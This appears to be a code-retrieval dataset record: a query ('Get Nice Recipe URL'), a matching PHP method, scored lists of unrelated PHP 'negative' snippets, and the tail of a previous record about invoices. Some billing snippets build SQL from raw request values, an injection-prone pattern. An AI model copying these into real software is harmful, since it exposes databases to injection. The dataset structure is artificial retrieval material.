1)\n\t\t\t\t\t{\n\t\t\t\t\t\tsession()->flash(\"validation-status-error\",\"ok\");\n\t\t\t\t\t\treturn redirect()->intended('orders');\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif(isset($req['type']) && $req['type'] == \"edit\") $v = \"edit-order\";\n\t\t\t\t\t\tarray_push($cpt,'o'); \n\t\t\t\t\t\t$countries = $this->helpers->countries;\n\t\t\t\t\t $statuses = $this->helpers->statuses;\n\t\t\t\t\t\t$products = $this->helpers->getProducts();\n\t\t\t\t\t array_push($cpt,'products'); \n\t\t\t\t\t array_push($cpt,'countries'); \n\t\t\t\t\t array_push($cpt,'statuses'); \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tsession()->flash(\"validation-status-error\",\"ok\");\n\t\t\t\t\treturn redirect()->intended('orders');\n\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tsession()->flash(\"permissions-status-error\",\"ok\");\n\t\t\t\t\treturn redirect()->intended('/');\n\t\t\t\t}\n\t\t\t\t\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tAuth::logout();\n\t\t\t\t$u = url('/');\n\t\t\t\treturn redirect()->intended($u);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$v = \"login\";\n\t\t}\n\t\treturn view($v,compact($cpt));\n }", "function billing_userpanel_payment_invoiceCreate(){\n\tif(!$uid = $_SESSION['uid']){\n\t\te(__LINE__.\" : \".__FILE__);\n\t} else if(!$cost = intval($_REQUEST['cost'])){\n\t\te(__LINE__.\" : \".__FILE__);\n\t} else if(!$method = $_REQUEST['method']){\n\t\te(__LINE__.\" : \".__FILE__);\n\t} else if(substr($method, 0, 6)=='manual'){\n\t\treturn billing_userpanel_payment_offline();\n\t} else if(!function_exists('billing_userpanel_payment_'.$method)){\n\t\te(__LINE__.\" : \".__FILE__);\n\t} else {\n\t\t$order_id = $_REQUEST['order_id'];\n\t\tif($order_id){\n\t\t\tif(!$rs = dbq(\" SELECT COUNT(*) FROM `billing_invoice` WHERE `order_id`='$order_id' \")){\n\t\t\t\te(\"billing_userpanel_payment_invoiceCreate - \".__LINE__);\n\t\t\t} else if(dbn($rs)==0){\n\t\t\t\t;// its new, we need to insert it\n\t\t\t} else if(!$rw = dbf($rs)){\n\t\t\t\te(\"billing_userpanel_payment_invoiceCreate - \".__LINE__);\n\t\t\t} else {\n\t\t\t\t$invoiceId = $rw['id'];\n\t\t\t}\n\t\t}\n\t\tif($invoiceId){\n\t\t\t;// it already inserted\n\t\t} else if(!dbq(\" INSERT INTO `billing_invoice` (`uid`,`order_id`,`cost`,`method`) VALUES ('$uid','$order_id','$cost','$method') \")){\n\t\t\te(__LINE__.\" : \".__FILE__.\" \".dbe());\n\t\t} else {\n\t\t\t$invoiceId = dbi();\n\t\t}\n\t\tcall_user_func('billing_userpanel_payment_'.$method, $invoiceId);\n\t}\n}", "public function dataForInvoice() {\n\t\t\t\n\t\t\t$data = [\n\t\t\t 'booking_reference' => $this->reference,\n\t\t\t 'booking_date' => Utility::dateTimeLocale($this->updated_at, false),\n\t\t\t 'user_booking_fullname' => $this->user_booking_fullname,\n\t\t\t 'user_booking_address' => $this->user_booking_address,\n\t\t\t 'user_booking_locality' => $this->user_booking_full_locality,\n\t\t\t 'user_booking_email' => $this->user_booking_email,\n\t\t\t 'user_booking_tax_code' => $this->user->customer->taxCode,\n\t\t\t 'apartment_owner_fullname' => $this->apartment_owner_fullname,\n\t\t\t 'apartment_owner_tax_code' => $this->apartmentOwner->customer->taxCode,\n\t\t\t 'apartment_owner_address' => $this->apartment_owner_address,\n\t\t\t 'apartment_owner_locality' => $this->apartment_owner_full_locality,\n\t\t\t 'apartment_owner_email' => $this->apartment_owner_email,\n\t\t\t 'apartment_title' => $this->apartment_title,\n\t\t\t 'apartment_price_per_night' => $this->apartment_price_per_night,\n\t\t\t 'check_in' => Utility::dateTimeLocale($this->check_in, false),\n\t\t\t 'check_out' => Utility::dateTimeLocale($this->check_out, false),\n\t\t\t 'nights_count' => Utility::diffInDays($this->check_in, $this->check_out),\n\t\t\t 'total_amount' => $this->bookingAmount(),\n\t\t\t 'has_upgrades' => $this->bookedServices()->exists(),\n\t\t\t];\n\t\t\tif ($data['has_upgrades']) {\n\t\t\t\t$data['upgrades'] = [];\n\t\t\t\tforeach ($this->bookedServices()->get() as $bookedService) {\n\t\t\t\t\t$data['upgrades'][] =\n\t\t\t\t\t [\n\t\t\t\t\t\t'name' => $bookedService->name,\n\t\t\t\t\t\t'price_per_night' => $bookedService->price_per_night,\n\t\t\t\t\t ];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $data;\n\t\t}", "public function getNotShippedOrders(){\n\n $resource = $this->_productFactory->create()->getResource();\n $connection = $resource->getConnection();\n $select = $connection->select();\n $select->from(\n [\"main_table\"=>$resource->getTable('ves_vendor_sales_order')],\n ['*']\n )->join(\n [\n 'order_grid'=>$resource->getTable('sales_order')],\n 'main_table.order_id = order_grid.entity_id',\n [\n 'is_virtual'\n ]\n )->join(\n [\n 'order_item'=>$resource->getTable('sales_order_item')],\n 'main_table.entity_id=order_item.vendor_order_id',\n [\n 'is_virtual',\n 'locked_do_ship',\n 'parent_item_id',\n ]\n )->where(\n 'main_table.vendor_id = :vendor_id'\n )->where(\n 'order_grid.is_virtual = 0'\n )->where(\n 'order_item.locked_do_ship IS NULL'\n )->where(\n 'order_item.is_virtual = 0'\n )\n ->where(\n 'order_item.parent_item_id IS NULL'\n )->where(\n '(order_item.qty_ordered - order_item.qty_shipped - order_item.qty_refunded - order_item.qty_canceled) >= 1'\n )->group('main_table.order_id');\n $bind = ['vendor_id' => $this->getVendor()->getId()];\n\n $total = $connection->fetchALL($select,$bind);\n\n return count($total);\n }", "public function generateInvoices()\n\t{\n\t\t$orders = $this->orderRepository->getUninvoicedOrders();\n\t\t$invoices = [];\n\n\t\tforeach($orders as $order)\n\t\t{\n\t\t\t$invoices[] = $this->invoiceFactory->createFromOrder($order);\n\t\t}\n\n\t\treturn $invoices;\n\t}", "public function testBuildCreditCardSaleFailsWithNoOrderAmount()\n {\n $config = new SinglePayConfig();\n $config->setServiceConfig(self::$testConfig);\n\n $data = new SinglePayData();\n\n $creditCardSale = ExpressFactory::buildCreditCardSale($config, $data);\n }", "public function getInvoices()\n {\n return (array) $this->invoices;\n }", "public function testIsPaymentMethodGettableButNotFound()\n {\n $result = DirectDebit::getPaymentMethodsByCustomerID(self::CUSTOMER_ID);\n $this->assertEquals($result, []);\n }", "public function whmcs_get_invoices($params = array()) {\n\t\t$params['action'] = 'GetInvoices';\n\t\t// return Whmcs_base::send_request($params);\n $load = new Whmcs_base();\n return $load->send_request($params);\n\t}", "public function getInvoiceStatistics()\n {\n $que = DB::table('deliveries')\n ->select(\n DB::raw('count(id) AS total_parcel'),\n DB::raw('COALESCE(ROUND(SUM(CASE WHEN ( status IN (6,8,12,16)) THEN receive_amount ELSE 0 END)), 0) AS total_sale'),\n DB::raw('COALESCE(ROUND(SUM(CASE WHEN ( status IN (6,8,12,16) AND payment_status = 0 ) THEN receive_amount ELSE 0 END)), 0) AS total_uninvoiced'),\n DB::raw('COALESCE(ROUND(SUM(CASE WHEN ( status IN (6,12,16)) THEN 1 ELSE 0 END)), 0) AS total_delivered'),\n DB::raw('COALESCE(ROUND(SUM(CASE WHEN ( status IN (8)) THEN 1 ELSE 0 END)), 0) AS total_returned'),\n DB::raw('COALESCE(ROUND(SUM(CASE WHEN status IN (1,2,5,9,10,20) THEN 1 ELSE 0 END)), 0) AS total_pending'),\n DB::raw(\"(\n SELECT \n COALESCE(ROUND(SUM(charge + cod_charge)), 0) \n FROM \n deliveries \n WHERE \n merchant_id = {$this->merchant_id} AND \n status IN (6,8,12,16) AND \n payment_status = 1 \n ) as total_shipping\"),\n DB::raw(\"(\n SELECT \n COALESCE(ROUND(SUM(amount)),0)\n FROM\n invoices\n WHERE\n merchant_id = {$this->merchant_id}\n ) AS total_invoiced_amount\")\n )\n ->where([ 'merchant_id' => $this->merchant_id ]);\n $que = $que->first();\n// $que->total_uninvoiced = $que->total_sale- $que->total_invoiced_amount;\n return $que;\n }", "public function testBillingDownloadInvoice()\n {\n }", "public function getTaxInvoiced();", "public function testRefundOnlineWithGiftCardAccountByInvoice(): void\n {\n $codes = [];\n $qty = 0;\n $order = $this->getOrder();\n $orderItems = $order->getItems();\n\n /** @var Pool $poolResourceModel */\n $poolResourceModel = $this->objectManager->get(Pool::class);\n $poolResourceModel->saveCode('fixture_code_1');\n $poolResourceModel->saveCode('fixture_code_2');\n\n $invoiceItems = $order->getInvoiceCollection()\n ->getItems();\n /** @var Invoice $invoice */\n $invoice = array_pop($invoiceItems);\n /** @var CreditmemoFactory $creditmemoFactory */\n $creditmemoFactory = $this->objectManager->get(CreditmemoFactory::class);\n /** @var Creditmemo $creditmemo */\n $creditmemo = $creditmemoFactory->createByInvoice($invoice, $order->getData());\n $creditmemo->setOrder($order);\n $creditmemo->setState(Creditmemo::STATE_REFUNDED);\n $creditmemo->setIncrementId(self::ORDER_INCREMENT_ID);\n\n foreach ($creditmemo->getItems() as $creditMemoItem) {\n $orderItem = $orderItems[$creditMemoItem->getOrderItemId()];\n if ($orderItem->getProductOptionByCode('giftcard_created_codes')) {\n $codes = $orderItem->getProductOptionByCode('giftcard_created_codes');\n $qty = abs((int)$creditMemoItem->getQty());\n }\n }\n\n $giftCardAccounts = $this->getGiftCardAccount($codes);\n $creditmemoManagement = $this->objectManager->get(CreditmemoManagementInterface::class);\n $creditmemoManagement->refund($creditmemo);\n\n $existsGiftCardAccounts = $this->getGiftCardAccount($codes);\n\n self::assertEquals(count($giftCardAccounts) - $qty, count($existsGiftCardAccounts));\n }", "public function get_company_notpaid_invoice($is_json = 0) {\n $matches = array();\n $query_string = htmlspecialchars($_POST['q'], ENT_QUOTES, 'UTF-8');\n $company = $this->input->post('company');\n $result = $this->classtraineemodel->get_company_based_pay_invoice($this->tenant_id, $query_string, $company, 0);\n if ($result) {\n foreach ($result as $row) {\n $matches[] = array(\n 'key' => $row->invoice_id,//Course: ' . $row->crse_name . ', \n 'label' => $row->invoice_id . ' (Class: ' . $row->class_name . ')',\n 'value' => $row->invoice_id,\n );\n }\n }\n if ($is_json == 1) {\n return $matches;\n } else {\n echo json_encode($matches);\n exit();\n }\n }" ]
[ "0.62248325", "0.6108709", "0.60098946", "0.59548753", "0.5947382", "0.5915369", "0.58614284", "0.58546287", "0.5814992", "0.58140737", "0.5801039", "0.5779258", "0.5765397", "0.5725253", "0.5713195", "0.57122046", "0.56826687", "0.56633675", "0.56504333", "0.5638768", "0.5630767", "0.5624662", "0.5621997", "0.5615137", "0.5597919", "0.55969185", "0.5567288", "0.5536665", "0.55161035", "0.5511714", "0.5509983", "0.55028594", "0.54664916", "0.54614687", "0.54576784", "0.5456512", "0.5443273", "0.5438479", "0.54361826", "0.54346037", "0.5431428", "0.54194725", "0.541737", "0.54132736", "0.5401673", "0.5401289", "0.5399755", "0.5383438", "0.53778994", "0.53771263", "0.5376364", "0.5361992", "0.5357244", "0.5353792", "0.5352729", "0.53229445", "0.53181213", "0.53174305", "0.5312544", "0.53081846", "0.5307643", "0.5304194", "0.53017926", "0.5299826", "0.5295834", "0.52935946", "0.5288909", "0.52888054", "0.52865756", "0.52858084", "0.5279702", "0.52788895", "0.5278863", "0.5276927", "0.5275095", "0.52712685", "0.5270839", "0.5268605", "0.5264878", "0.5264311", "0.5264057", "0.525758", "0.52545196", "0.5246825", "0.52460784", "0.5243601", "0.5242382", "0.5239408", "0.5238217", "0.5232464", "0.5231185", "0.5228046", "0.5224884", "0.52210206", "0.52207005", "0.5220467", "0.5220377", "0.5214021", "0.5213025", "0.52093744", "0.52025914" ]
0.0
-1
Get Nice Recipe URL
public function niceUrl() { return '/' . $this->recipe_id . '/' . $this->url; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function url()\n {\n return '/recipe/' . $this->recipe->getKey();\n }", "public function get_url();", "public function getURL();", "public function getURL();", "public function getURL ();", "function get_url()\n {\n }", "public function get_url()\n {\n }", "public function url()\n {\n return $this->factory->getUrl($this->handle);\n }", "public abstract function getURL();", "public function getUrl(): string\n {\n return $this->generateChoiceUrl();\n }", "protected function url()\n\t{\n\t\treturn Phpfox::getLib('url');\t\n\t}", "public function getUrl() {\n\t\treturn $this->rawUrl;\n\t}", "public function getUrl()\n {\n return $this->createUrl();\n }", "public function getUrl() {\n return $this->get(self::URL);\n }", "public static function getThisUrl() {}", "public function getUrl(): string\n {\n return ($this->prefix ?? '') . $this->uri;\n }", "protected function _getUrl(): string\n {\n property_exists_or_fail($this, ['id', 'album']);\n\n return Router::url(['_name' => 'photo', 'slug' => $this->get('album')->get('slug'), 'id' => (string)$this->get('id')], true);\n }", "function getUrl()\n {\n return partial_url($this->getNodeType(), $this->m_action, $this->m_partial, $this->m_params, $this->m_sessionStatus);\n }", "public function getURL(): string\n {\n return $this->http->getURL();\n }", "public function getURL() {\n\t\treturn $this->urlStub() .'/' . $this->publicContainer .'/' . $this->getId();\n\t}", "public function url(): string;", "public function get_url(): string\n {\n return $this->get_url_internal();\n }", "public static function url(): string\n\t{\n\t\treturn static::$url;\n\t}", "private function generateUrl() : string\n {\n return $this->apiUrl.$this->ownerRepo.$this->branchPath.$this->branch;\n }", "public function getURL()\n {\n return $this->uRL;\n }", "public function getUrl(): string;", "public function getUrl(): string;", "public function getUrl(): string;", "public function getOfficialLink();", "public function url()\n\t{\n\t\treturn Url::to(\"review/\".$this->id.\"/\".$this->slug.\"/\".Session::get('Lang'));\n\t}", "public function url();", "public function url();", "public function url();", "protected function getUrl(): string\n {\n return $this->url;\n }", "public function getUrl();", "public function getUrl();", "public function getUrl();", "public function getUrl();", "public function getUrl();", "public function getUrl();", "public function getUrl();", "public function getUrl();", "protected function getUrl()\n {\n if (!empty($this->info['url'])) {\n return $this->info['url'];\n }\n }", "public function getURL(): string\n {\n return $this->url.$this->apiVersion.'/';\n }", "public function url(): string\n {\n return $this->url;\n }", "public function url(): string\n {\n return $this->url;\n }", "public function\n\tGetURL():\n\t?String {\n\n\t\treturn sprintf(\n\t\t\t'%s://%s%s%s',\n\t\t\t$this->GetProtocol(),\n\t\t\t$this->GetFullDomain(),\n\t\t\t(($this->GetPath() === '/index')?\n\t\t\t\t('/'):\n\t\t\t\t($this->GetPath())\n\t\t\t),\n\t\t\t((count($this->Query) >= 1)?\n\t\t\t\t($this->QueryCooker($this->Query)):\n\t\t\t\t(''))\n\t\t);\n\t}", "private function _getURL()\n {\n\n $url = $this->_ect . '?';\n foreach ($this as $name => $var) {\n if ($name == 'ect') {\n continue;\n }\n $url .= \"$name=$var&\";\n }\n\n $this->url = $url;\n\n return $this->url;\n }", "public function getUrl()\n {\n return $this->_urlBuilder->getUrl();\n }", "abstract protected function getElisServiceUrl();", "protected function getUrl() {\r\n\t\treturn $this->url;\r\n\t}", "public function getUrl(){\n return $this->server->getUrl() . \"/\" . $this->name;\n \n }", "public function get_url () {\r\n\t\treturn $this->url;\r\n\t}", "private function getTalkURI()\n {\n $url = $this->getInput('url');\n return $url;\n }", "public function url() {\n return Magic::url();\n }", "abstract public function getUrl();", "public function getUrl() {\n\t\t$this->getRublon()->log(__METHOD__);\n\t\treturn $this->getRublon()->getAPIDomain() .\n\t\t\tself::URL_PATH_CODE .\n\t\t\turlencode($this->getUrlParamsString());\n\t}", "public function generate_url()\n {\n }", "public function getUrl() {\r\n\t}", "public function get_url() {\n\t\treturn $this->url;\n\t}", "public function get_url() {\n\t\treturn $this->url;\n\t}", "public function url()\n\t{\n\t\treturn $this->url;\n\t}", "public function getUri()\n {\n return $this->getUrl();\n }", "public function getUrl(): string\n {\n return self::URL;\n }", "protected function get_url()\n {\n return $this->base_url + $this->api_version; \n }", "public function url(): string\n {\n return Uri::current()->setPath($this->name)->setSlash(true)->toString();\n }", "public function getUrl()\n {\n $httpRequest = $this->httpClient->get($this->getEndpoint() . '?' . http_build_query($this->getData(), '', '&'));\n return $httpRequest->getUrl();\n }", "public function get_url()\n {\n return $this->url;\n }", "public function get_url() {\r\n\t\treturn $this->feed->get_url().\"/\".$this->id.\"/\".urlencode(strtolower($this->title));\r\n\t}", "function getUrl();", "public function getUrl()\r\n\t{\r\n\t\treturn $this->url;\r\n\t}", "function getUrl() {\n\t\treturn $this->repoObj->lobUrltitle;\n\t}", "public function getUrl() {\n\t\t$url = $this->getBaseUrl().$this->getBasePath().$this->getOperation();\n\t\t$params = http_build_query($this->getUrlParameters());\n\t\tif ($params) {\n\t\t\t$url .= '?'.$params;\n\t\t}\n\t\treturn $url;\n\t}", "public function get_uri()\n {\n }", "public function getUrl(): string\n {\n return $this->url;\n }", "public function getUrl(): string\n {\n return $this->url;\n }", "public function getUrl()\n\t{\n\t\treturn $this->url;\n\t}", "public function getUrl()\n\t{\n\t\treturn $this->url;\n\t}", "public function getUrl()\n\t{\n\t\treturn $this->url;\n\t}", "public function getUrl()\n\t{\n\t\treturn $this->url;\n\t}", "public function getUrl()\n\t{\n\t\treturn $this->url;\n\t}", "public function getUrl(): string {\n return $this->url;\n }", "public function url()\n\t{\n\t\treturn ($this->secure() ? 'https' : 'http') . '//' . $this->domainName() . $this->uri();\n\t}", "public function url()\n {\n return $this->url;\n }", "protected function getUrl() {\n\t\treturn $this->getQueryParam ( self::URL_PARAM );\n\t}", "public function getUrl()\n\t{\n\t\treturn rtrim(Mage::helper('wordpress')->getUrlWithFront($this->getId()), '/') . '/';\n\t}", "protected function get_uri()\n {\n }", "public function url() {\n return Url::to($this->slug);\n }", "public function getCustomUrl() : string;", "protected function getUrl(){\n\t\treturn $this->apiUrl . $this->apiVersion . '/';\n\t}", "protected function _getUrl()\n {\n $s = empty($_SERVER['HTTPS']) ? '' : ($_SERVER['HTTPS'] == 'on') ? 's' : '';\n\n $protocol = substr(strtolower($_SERVER['SERVER_PROTOCOL']), 0, strpos(strtolower($_SERVER['SERVER_PROTOCOL']), '/')) . $s;\n\n $port = ($_SERVER['SERVER_PORT'] == '80') ? '' : (':'.$_SERVER['SERVER_PORT']);\n\n return $protocol . '://' . $_SERVER['SERVER_NAME'] . $port . $_SERVER['REQUEST_URI'];\n }", "public function getURL() {\n $defaultPorts= array(\n 'http' => 80,\n 'https' => 443\n );\n \n // Determine which settings we need to pass\n $xsr= array();\n if (\n ($this->getProduct() != $this->getDefaultProduct()) ||\n ($this->getLanguage() != $this->getDefaultLanguage())\n ) {\n $xsr[]= $this->getProduct();\n $xsr[]= $this->getLanguage();\n }\n if ($this->getSessionId()) $xsr[]= 'psessionid='.$this->getSessionId();\n\n $port= '';\n if (\n $this->getPort() &&\n (!isset($defaultPorts[$this->getScheme()]) ||\n $this->getPort() != $defaultPorts[$this->getScheme()])\n ) {\n $port= ':'.$this->getPort();\n }\n\n\n return sprintf(\n '%s://%s%s/xml/%s%s%s%s',\n $this->getScheme(),\n $this->getHost(),\n $port,\n (sizeof($xsr) ? implode('.', $xsr).'/' : ''),\n $this->getStateName(), \n $this->getQuery() ? '?'.$this->getQuery() : '',\n $this->getFragment() ? '#'.$this->getFragment() : ''\n );\n }", "public function getUrl() : string\n {\n return $this->url;\n }", "public function getUrl() : string\n {\n return $this->url;\n }", "public function getUrl(): string {\n\t\treturn $this->_url;\n\t}", "public function getUrl()\n\t{\n\t\t$url = strtolower($this->_name);\n\t\t$url = str_replace(' ', '-', $url);\n\t\t$url = str_replace('&-', '', $url);\n\n\t\t# retrieves a sanitized url from the project name :3\n\t\treturn $this->getId() . DIRECTORY_SEPARATOR . $url;\n\t}", "public function GetUrlForSelf(): string\n {\n $host_base = Config::get('app.url');\n return \"{$host_base}/test/{$this->id}\";\n }", "public function getUrl() {\n\t\treturn $this->url;\n\t}", "public function getUrl() {\n\t\treturn $this->url;\n\t}", "public function getUrl() {\n\t\treturn $this->url;\n\t}" ]
[ "0.8005495", "0.6684302", "0.66728646", "0.66728646", "0.66376525", "0.6599835", "0.65327835", "0.6515474", "0.6506297", "0.649406", "0.646237", "0.64425784", "0.6424262", "0.6366747", "0.6355705", "0.6354239", "0.63503903", "0.6322692", "0.6319833", "0.6304408", "0.6288087", "0.62755024", "0.6275285", "0.6270783", "0.6270073", "0.6269856", "0.6269856", "0.6269856", "0.6238681", "0.62385136", "0.6224586", "0.6224586", "0.6224586", "0.6221186", "0.6206072", "0.6206072", "0.6206072", "0.6206072", "0.6206072", "0.6206072", "0.6206072", "0.6206072", "0.61991763", "0.61847967", "0.61821556", "0.61821556", "0.6181355", "0.6176078", "0.6173021", "0.6171379", "0.6169472", "0.61522335", "0.61515725", "0.61515164", "0.61456823", "0.6142687", "0.61392903", "0.6137552", "0.6123252", "0.6105532", "0.6105532", "0.610496", "0.610337", "0.61017454", "0.60907584", "0.6080765", "0.60730857", "0.60613656", "0.6056763", "0.6051112", "0.60503995", "0.6048041", "0.60480297", "0.6043669", "0.60325974", "0.60325974", "0.6030139", "0.6030139", "0.6030139", "0.6030139", "0.6030139", "0.6027636", "0.60163283", "0.6014812", "0.6011688", "0.60079455", "0.6004837", "0.60018086", "0.5999704", "0.5989085", "0.59820366", "0.59792066", "0.5979067", "0.5979067", "0.5978802", "0.5977413", "0.59738195", "0.59728175", "0.59728175", "0.59728175" ]
0.7425859
1
Merge Data Merge an array of values into the class properties by array key = property
public function mergeRecipe(array $modifiedRecipe) { // Make sure we have an array if (!is_array($modifiedRecipe)) { throw new \Exception(__CLASS__ . '->' . __METHOD__ . ' expects array'); } foreach ($this as $key => $value) { if (isset($modifiedRecipe[$key])) { $this->$key = $modifiedRecipe[$key]; } } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function merge($array=array())\n {\n $class = $this->instance();\n return new $class(array_merge($this->_data, self::convert($array)->toArray()));\n }", "public function mergeFrom(array $data);", "public function values($data){\n\t\tforeach($data as $key => $value){\n\t\t\tif(property_exists($this, $key)){\n\t\t\t\t$this->{$key} = $value;\n\t\t\t}\n\t\t}\n\t}", "public final function __fromArray($data)\n {\n foreach ($data as $k => $v)\n {\n if ($k!=self::CLASS_FIELD_KEY)\n {\n //codice pronto da usare per la trasformazione degli oggetti in cascata.\n /* \n //associazione tramite chiave esterna\n if (ActiveRecord::isValidArrayDO($v))\n {\n $this->{$k} = ActiveRecord::fromArray($v);\n }\n else\n if (is_array($v)) //associazione tramite tabella esterna\n {\n $result = array();\n foreach ($v as $nes_key => $nes_value)\n {\n $result[] = ActiveRecord::fromArray($nes_value);\n }\n $this->{$k} = $result;\n }\n else*/\n $this->{$k} = $v;\n }\n }\n }", "protected function merge(array $data)\n {\n foreach ($data as $value) {\n DB::connection('c2')->table($this->table->to)\n ->where($this->table->matchKeys[1], $value[$this->table->matchKeys[0]])\n ->update($this->except($value, $this->table->matchKeys[0]));\n }\n }", "public function mergeData(array ...$data)\n {\n return $this->setData(array_replace($this->getData(true), ...$data));\n }", "public function merge(string|null|array $key, array $data = null): static\n {\n if (is_array($key)) {\n $data = $key;\n $key = null;\n }\n\n foreach ($data as $itemKey => $value) {\n $itemKey = is_null($key) ? $itemKey : $key . $this->delimiter . $itemKey;\n\n if (is_array($value)) {\n $this->merge($itemKey, $value);\n } else {\n $this->set($itemKey, $value);\n }\n }\n\n return $this;\n }", "public function merge()\n {\n $args = func_get_args();\n array_unshift($args, $this->data);\n $this->data = call_user_func_array('array_merge', $args);\n\n return $this; \n }", "public function loadData(array $data) \n {\n foreach($data as $k => $v) {\n if (property_exists($this, $k)) {\n $this->{$k} = $v;\n }\n }\n }", "public function hydrate(array $data){ \n \tforeach ($data as $key => $value){\n \t\t$method = 'set'.ucfirst($key); \n \tif (method_exists($this, $method)){\n \t$this->$method($value);\n }\n }\n\t}", "public function mergeData($data) {\n if (empty($data)) return $this;\n\t\tforeach($data as $key=>$value) {\n\t\t\tif ((!array_key_exists($key, $this->_data) && ($key != $this->_key_field)) ||\n ($key != $this->_key_field) &&\n ($value != $this->_data[$key]) &&\n (isset($this->_structure['columns'][$key])\n || isset($this->_structure['relations'][$key])\n || isset($this->_structure['abilities'][$key]))) {\n $this->offsetSet($key, $value);\n } else {\n unset($data[$key]);\n }\n\t\t}\n return $this;\n\t}", "public function merge( array $data )\n\t\t{\n\t\t\t$this->_data = \\array_merge( $this->_data, $data );\n\t\t\treturn $this;\t\n\t\t}", "public function exchangeArray(array $data)\n {\n foreach ($data as $name => $value) {\n if(property_exists($this, $name)) {\n if(strstr($name,'_id')\n && empty($value)){\n $this->$name = null;\n }else{\n $this->$name = $value;\n }\n }\n }\n }", "public function exchangeArray(array $data = array())\n\t{\n\t\t// Objetos adicionadas a esta classe\n\t\tforeach ($this as $entity) {\n\t\t\tif ($entity instanceof AbstractEntity)\n\t\t\t{\n\t\t\t\t// Lista de resultados\n\t\t\t\tforeach ($data as $key => $value) {\n\t\t\t\t\n\t\t\t\t\t// Nome do setter correspondente a coluna\n\t\t\t\t\t$setter = $entity->setterName($key);\n\t\t\t\t\t// Nome do setter em caso de coluna tratada\n\t\t\t\t\t$entityClassName = $this->getSimpleClassName(get_class($entity));\n\t\t\t\t\t$treatAttrName = preg_replace(\"/^\".$entityClassName.\"_/\", \"\", $key);\n\t\t\t\t\t$newSetter = $entity->setterName($treatAttrName);\n\t\t\t\t\t// Se for um campo tratado nometabela_coluna ex.: department_status\n\t\t\t\t\t// PS.: Este nome eh baseado no nome da classe da entidade, ou seja, \n\t\t\t\t\t// para nomes compostos (ex.: department_discharge) deve ser usado o\n\t\t\t\t\t// nome da classe da entidade que ele pertence (departmentdischarge)\n\t\t\t\t\tif ($key !== $treatAttrName && method_exists($entity, $newSetter)) {\n\t\t\t\t\t\t$entity->$newSetter($value);\n\t\t\t\t\t\t\n\t\t\t\t\t\tunset($data[$key]);\n\t\t\t\t\t\t\n\t\t\t\t\t// Se for um campo comum da entidade.\n\t\t\t\t\t} else if (method_exists($entity, $setter)) {\n\t\t\t\t\t\t$entity->$setter($value);\n\t\t\t\t\t\t\n\t\t\t\t\t\tunset($data[$key]);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Chegando aqui nao deve mais haver nenhum item em\n\t\t// $data, mas os que houverem guardamos em $this->notmatch\n\t\tforeach($data as $key => $value) {\n\t\t\tif (!isset($this->notmatch)) {\n\t\t\t\t$this->notmatch = new \\stdClass();\n\t\t\t}\n\t\t\t$this->notmatch->{$key} = $value;\n\t\t}\n\t}", "private function merge_data($post_object, $acf_array) {\r\n foreach ($acf_array as $k=>$v) {\r\n if ($k) $post_object->{$k} = $v;\r\n }\r\n\r\n return $post_object;\r\n }", "private function update(array $data)\n {\n foreach ($data as $property => $value) {\n if (property_exists($this, $property)) {\n $this->$property = $value;\n }\n }\n }", "public function mergeData($data)\n {\n $this->initialize();\n $data = $this->pickupData($data);\n foreach ($data as $column => $value) {\n $this->set($column, $value);\n }\n return $this;\n }", "public function prepareMergeFields($field_mapping = array(), $bean, $data = '') {\n $mergeFields = array();\n foreach($field_mapping as $key=>$name) {\n if(!empty($key) && !empty($name)) {\n if(isset($bean->field_defs[$name])) {\n if(empty($data)) {\n //In case of sugar to mailchimp\n if (strpos($key, '.') !== false) {\n list($main, $sub) = explode('.', $key);\n if(in_array($sub, $this->_address_field_sub_field_names)) {\n // In case of address field\n if($sub == 'addr1') {\n $street_info = explode(PHP_EOL, $bean->$name);\n if(count($street_info) > 1){\n $mergeFields[$main][$sub] = $street_info[0];\n $mergeFields[$main]['addr2'] = $street_info[1];\n } else {\n $mergeFields[$main][$sub] = $bean->$name;\n }\n } else if($sub != 'addr2') {\n $mergeFields[$main][$sub] = $bean->$name;\n }\n } else {\n $mergeFields[$key] = $bean->$name;\n }\n } else {\n $mergeFields[$key] = $bean->$name;\n }\n } else {\n //In case of mailchimp to sugar\n if (empty($data[$key]) && strpos($key, '.') !== false) {\n list($main, $sub) = explode('.', $key);\n if(in_array($sub, $this->_address_field_sub_field_names)) {\n // In case of address field\n $bean->$name = $data[$main][$sub];\n } else {\n $bean->$name = $data[$key];\n }\n } else {\n $bean->$name = $data[$key];\n }\n }\n }\n }\n }\n return empty($data) ? $mergeFields : $bean;\n }", "public function merge(array $config)\n {\n $this->data = array_replace_recursive($this->get(), $config);\n }", "public function hydrate($data){\n foreach ($data as $key => $value){\n $method = 'set'.ucfirst($key);\n \n if (method_exists($this, $method)){\n $this->$method($value);\n }\n }\n }", "protected function merge(array $data, $timestamp)\n {\n if ($timestamp > $this->ts) foreach ($data as $uniqueID => $info)\n {\n if (empty($this->vs[$uniqueID])) continue;\n if (isset($info['value']) && array_key_exists('value', $this->vs[$uniqueID]['properties']))\n {\n $this->vs[$uniqueID]['properties']['value'] = $info['value'];\n }\n if (isset($info['attrs']))\n {\n $this->vs[$uniqueID]['attributes'] = array_merge($this->vs[$uniqueID]['attributes'], $info['attrs']);\n }\n if (isset($info['removed']))\n {\n foreach ($info['removed'] as $attr) unset($this->vs[$uniqueID]['attributes'][$attr]);\n }\n }\n }", "public function hydrate(array $data)\n {\n foreach ($data as $key => $value) {\n $method = 'set' . str_replace(\"_\", \"\", ucwords($key, \"_\"));\n if (method_exists($this, $method)) {\n $this->$method($value);\n }\n }\n }", "function mergeProps($old, $new){\n $arr = [];\n\n foreach($old as $oldkey => $oldval){\n foreach($new as $newkey => $newval){\n if ($oldkey === $newkey){\n if ($oldkey === 'class' || $oldkey === 'style'){\n $arr[$oldkey] = $oldval.' '.$newval;\n } else 